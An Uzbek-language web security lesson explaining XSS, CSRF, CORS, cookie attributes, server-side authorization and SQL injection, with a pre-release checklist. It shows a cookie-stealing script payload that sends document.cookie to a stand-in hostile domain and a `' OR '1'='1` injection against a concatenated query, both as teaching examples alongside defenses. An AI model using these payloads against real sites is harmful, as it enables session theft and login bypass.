# Web xavfsizligi: XSS, CSRF va CORS

> XSS, CSRF va CORSning farqini tushuning; foydalanuvchi ma'lumoti, cookie, parol va headerlarni xavfsiz boshqarish uchun amaliy checklist oling.

Manba: https://learncode.uz/web-dasturlash/amaliy-web-xavfsizligi/
Sana: 2026-05-10

![XSS, CSRF, CORS va xavfsiz cookie qoidalarini himoya qatlamlari sifatida ko'rsatadigan web xavfsizlik sxemasi](https://learncode.uz/images/web-dasturlash/amaliy-web-xavfsizligi-hero.webp)

*Xavfsizlik bitta sozlama emas: kiritish, ruxsat, cookie va server javobi birgalikda himoya qiladi.*

[HTTPS darsi](https://learncode.uz/web-dasturlash/https-web-xavfsizligi) aloqa kanalini himoya
qiladi: yo'ldagi hech kim ma'lumotni o'qiy olmaydi. Lekin bu yetarli emas.
HTTPS ilova **ichidagi** xatolardan himoya qilmaydi — zararli kod sahifaga
tushsa yoki server ruxsatni tekshirmasa, shifrlangan kanal ham yordam bermaydi.

Bu darsda uchta eng ko'p uchraydigan xavfni ko'ramiz. Ularni chalkashtirmaslik
muhim, chunki har birining himoyasi butunlay boshqacha.

| Xavf | Nima sodir bo'ladi | Asosiy himoya |
|---|---|---|
| XSS | Zararli skript sahifada ishlaydi | Kiritishni ishonchli chiqarish, sanitizatsiya, CSP |
| CSRF | Boshqa sayt login qilingan foydalanuvchi nomidan amal qildiradi | SameSite cookie, CSRF token, origin tekshiruvi |
| CORS xatosi | Brauzer boshqa origin API javobini bloklaydi | Serverda aniq origin/metod/header ruxsati |

## XSS — begona skript sizning sahifangizda

**XSS** (Cross-Site Scripting) foydalanuvchi kiritgan matn sahifada **kod
sifatida** ishga tushganda sodir bo'ladi. Tasavvur qiling, izohlar bo'limi bor
va kimdir izoh o'rniga shunday yozdi:

```html
<script>fetch('https://yomon-sayt.uz?c=' + document.cookie)</script>
```

Agar sayt bu matnni tekshirmasdan sahifaga qo'shsa, uni **har bir tashrifchi**
brauzeri bajaradi va cookie'lari begona serverga ketadi.

Himoyaning birinchi qoidasi sodda: foydalanuvchi kiritgan matn **doim matn
bo'lib qolishi** kerak. Ko'p zamonaviy framework (React, Vue, Astro) buni
avtomatik bajaradi — matndagi `<` va `>` belgilarini xavfsiz shaklga o'giradi.

> **Xavfli funksiyalar**
>
> `innerHTML`, `dangerouslySetInnerHTML` va `v-html` kabi vositalar matnni HTML
> sifatida qo'yadi — ya'ni himoyani ataylab o'chiradi. Ularni faqat manbaga
> to'liq ishonganingizda yoki matn maxsus kutubxona bilan tozalangandan keyin
> ishlating.

Ikkinchi qatlam — **CSP** (Content Security Policy). Bu server yuboradigan
header bo'lib, brauzerga qaysi manbadagi skriptlarni bajarishga ruxsat borligini
aytadi. To'g'ri sozlangan CSP sahifaga tushib qolgan begona skriptni ham
ishlashdan to'xtatadi.

## CSRF — sizning nomingizdan qilingan amal

**CSRF** (Cross-Site Request Forgery) butunlay boshqa mexanizm. Bu yerda
zararli kod sizning saytingizda emas, **boshqa saytda** turadi.

Stsenariy shunday: siz bankingiz saytiga kirdingiz va cookie brauzerda saqlanib
qoldi. Keyin boshqa saytga o'tdingiz, u yerda esa yashirin forma bor:

![Foydalanuvchi bank saytiga kirgan holda begona saytga o'tishi va o'sha sayt uning nomidan so'rov yuborishi](https://learncode.uz/images/web-dasturlash/csrf-hujum-oqimi.webp)

*Brauzer cookie'ni avtomatik qo'shadi — shuning uchun server so'rovni
    haqiqiy foydalanuvchidan kelgan deb hisoblashi mumkin.*

Brauzer cookie'ni **avtomatik** yuboradi, chunki manzil bank domeni. Server esa
so'rov qayerdan kelganini bilmasa, uni haqiqiy deb qabul qiladi.

Himoyaning uch usuli bor:

- **`SameSite` cookie atributi.** `SameSite=Lax` yoki `Strict` cookie'ni boshqa
  saytdan kelgan so'rovga qo'shmaydi. Bu eng sodda va samarali qatlam.
- **CSRF token.** Server har formaga tasodifiy qiymat qo'shadi va so'rov
  qaytganda uni tekshiradi. Begona sayt bu qiymatni bila olmaydi.
- **Origin tekshiruvi.** Server `Origin` yoki `Referer` headerini ko'rib,
  so'rov o'z saytidan kelganini tasdiqlaydi.

> **Farqni yodda tuting**
>
> **XSS** — zararli kod sizning saytingizda ishlaydi.
> **CSRF** — zararli kod boshqa saytda, lekin sizning cookie'ingizdan foydalanadi.
> Shuning uchun ularning himoyasi ham boshqa-boshqa.

## CORS — xavf emas, himoya

CORS ko'pincha "xato" sifatida tanilgan, lekin aslida u **brauzer himoyasi**.
Brauzer bir saytdagi JavaScript boshqa saytning ma'lumotini ruxsatsiz o'qishiga
yo'l qo'ymaydi.

CORS xatosi chiqsa, bu odatda hujum emas — server hali ruxsat sozlanmagani
bildiradi. Yechim serverda: qaysi origin, qaysi metod va qaysi headerlarga
ruxsat berilishini aniq ko'rsatish kerak.

Bu yerda keng tarqalgan xato bor: ruxsatni hamma uchun ochib qo'yish
(`Access-Control-Allow-Origin: *`). Ochiq, hammaga mo'ljallangan API uchun bu
to'g'ri bo'lishi mumkin, lekin cookie yoki token bilan ishlaydigan xizmatda
xavfli. To'g'ri yondashuv — ruxsat berilgan originlarning aniq ro'yxatini
tuzish va faqat kerakli metodlarni ochish.

Batafsil mexanizm va preflight so'rovi
[HTTP amaliyoti](https://learncode.uz/web-dasturlash/http-amaliy-laboratoriya) darsida ko'rsatilgan.

## Amaliy himoya qatlamlari

### Parollar va sessiyalar

Parolni **hech qachon** ochiq holda saqlamang. Ma'lumotlar bazasi qo'lga
tushsa ham parollar o'qib bo'lmaydigan bo'lishi kerak. Buning uchun maxsus
parol xeshlash algoritmlari (`bcrypt`, `argon2`, `scrypt`) ishlatiladi — oddiy
`md5` yoki `sha1` bu vazifa uchun **yaramaydi**.

Session cookie'ga uchta atribut berish odatiy amaliyot:

| Atribut | Vazifasi |
|---|---|
| `HttpOnly` | JavaScript cookie'ni o'qiy olmaydi (XSS zararini kamaytiradi) |
| `Secure` | Cookie faqat HTTPS orqali yuboriladi |
| `SameSite` | Boshqa saytdan kelgan so'rovga qo'shilmaydi (CSRF himoyasi) |

Bu tushunchalar [cookie va autentifikatsiya](https://learncode.uz/web-dasturlash/cookie-session-autentifikatsiya)
darsida kengroq yoritilgan.

### Ruxsatni doim server tekshiradi

Bu eng ko'p uchraydigan va eng qimmatga tushadigan xato. Interfeysda tugmani
yashirish — xavfsizlik emas, faqat qulaylik. Foydalanuvchi DevTools orqali
so'rovni qo'lda yubora oladi.

Har so'rovda server ikki savolga javob berishi kerak:

1. **Autentifikatsiya:** bu kim? (token yoki session haqiqiymi)
2. **Avtorizatsiya:** bu odam aynan **shu** ma'lumotni o'zgartirishga
   ruxsatlimi?

Ikkinchi savolni unutish keng tarqalgan zaiflikka olib keladi: foydalanuvchi
URL'dagi `id=15` ni `id=16` ga o'zgartirib, boshqa odamning ma'lumotini
ko'radi yoki o'chiradi.

> **Ruxsatni server tekshiradi**
>
> Interfeysdagi "o'chirish" tugmasini yashirish xavfsizlik emas. Server har
> so'rovda foydalanuvchi aynan shu ma'lumotni o'zgartirishga ruxsatlimi,
> tekshirishi kerak.

### SQL injection va kiritishga ishonmaslik

Yana bir klassik zaiflik — foydalanuvchi kiritgan matnni to'g'ridan-to'g'ri
so'rov ichiga qo'shish. Masalan, login formasi shunday yozilgan bo'lsa:

```text
"SELECT * FROM users WHERE email = '" + email + "'"
```

Foydalanuvchi email o'rniga `' OR '1'='1` yozsa, so'rov mantig'i o'zgaradi va
shart doim rost bo'lib qoladi. Natijada parolsiz kirish mumkin bo'lishi mumkin.

Yechim — qiymatni so'rov matniga **qo'shmaslik**. Buning o'rniga parametrli
so'rov (prepared statement) ishlatiladi: baza qiymatni har doim ma'lumot deb
qabul qiladi, hech qachon buyruq deb emas.

```text
"SELECT * FROM users WHERE email = ?"   → qiymat alohida uzatiladi
```

Ko'p ORM va baza kutubxonalari buni sukut bo'yicha bajaradi. Muhimi — qo'lda
satr birlashtirib so'rov yasamaslik. Bu qoida faqat SQLga emas, shell buyrug'i,
fayl yo'li va HTML chiqarishga ham taalluqli: **kiritish har doim shubhali**
deb qaraladi.

> **Bitta tamoyil, ko'p xavf**
>
> XSS, SQL injection va boshqa shunga o'xshash zaifliklarning ildizi bitta:
> ma'lumot bilan buyruq aralashib ketgan. Ularni ajratib turadigan har qanday
> usul — parametrli so'rov, matnni xavfsiz chiqarish, sanitizatsiya — bir xil
> tamoyilning turli ko'rinishi.

## Amaliy checklist

Loyihani chiqarishdan oldin quyidagilarni ko'rib chiqing:

- Parol mos xeshlash algoritmi bilan saqlanadi.
- Login urinishlari cheklangan va shubhali urinishlar logga yoziladi.
- Serverda **har** kirish validatsiya qilinadi; klient tekshiruvi faqat qulaylik.
- Session cookie'da `HttpOnly`, `Secure` va mos `SameSite` bor.
- Har so'rovda avtorizatsiya (kim nimaga ruxsatli) tekshiriladi.
- Xatoda foydalanuvchiga stack trace yoki ichki tafsilot ko'rsatilmaydi.
- Maxfiy kalit va token `.env` da, Git tarixida emas.
- CSP va `X-Content-Type-Options` kabi security headerlar sozlangan.
- Bog'liqliklar yangilangan va ma'lum zaifliklar tekshirilgan.

### Bog'liqliklar ham sizning kodingiz

Zamonaviy loyihada yozgan kodingiz umumiy hajmning kichik qismi bo'lishi
mumkin — qolgani tashqi kutubxonalar. Ularda topilgan zaiflik sizning
ilovangizga ham tegishli bo'ladi.

Shuning uchun bog'liqliklarni muntazam yangilab turing va o'rnatishdan oldin
paketning kimga tegishli ekanini, oxirgi marta qachon yangilanganini va
haqiqatan kerakligini tekshiring. Bitta kichik vazifa uchun katta paket
o'rnatish xavf maydonini kengaytiradi.

## Amaliy mashq

O'zingiz qurayotgan yoki tanish bo'lgan bitta web formani tanlang. Uch savolga
yozma javob bering:

1. Bu forma qabul qiladigan matn boshqa foydalanuvchiga ko'rsatiladimi? Agar
   ha bo'lsa, u qanday chiqariladi — matn sifatidami yoki HTML sifatida?
2. Bu amalni bajarish uchun login kerakmi? Server buni qayerda tekshiradi?
3. Boshqa foydalanuvchi `id` ni almashtirib, begona ma'lumotga tega oladimi?

Uchala savolga ishonch bilan javob bera olsangiz, xavfsizlikning eng muhim
uch qatlamini tushungan bo'lasiz.

## Qisqacha xulosa

- **XSS** — begona skript sizning sahifangizda ishlaydi; matnni matn sifatida
  chiqaring va CSP qo'ying.
- **CSRF** — begona sayt sizning cookie'ingizdan foydalanadi; `SameSite` va
  CSRF token himoya qiladi.
- **CORS** — xavf emas, brauzer himoyasi; server tomonda to'g'ri sozlanadi.
- Parol xeshlanadi, session cookie `HttpOnly` + `Secure` + `SameSite` bo'ladi.
- **Ruxsatni har doim server tekshiradi** — interfeysda yashirish yetarli emas.

Keyingi darsda [HTML, CSS va JavaScript ko'prigi](https://learncode.uz/web-dasturlash/html-css-js-koprik)
— frontendning uch tayanchini bitta forma misolida bog'laymiz.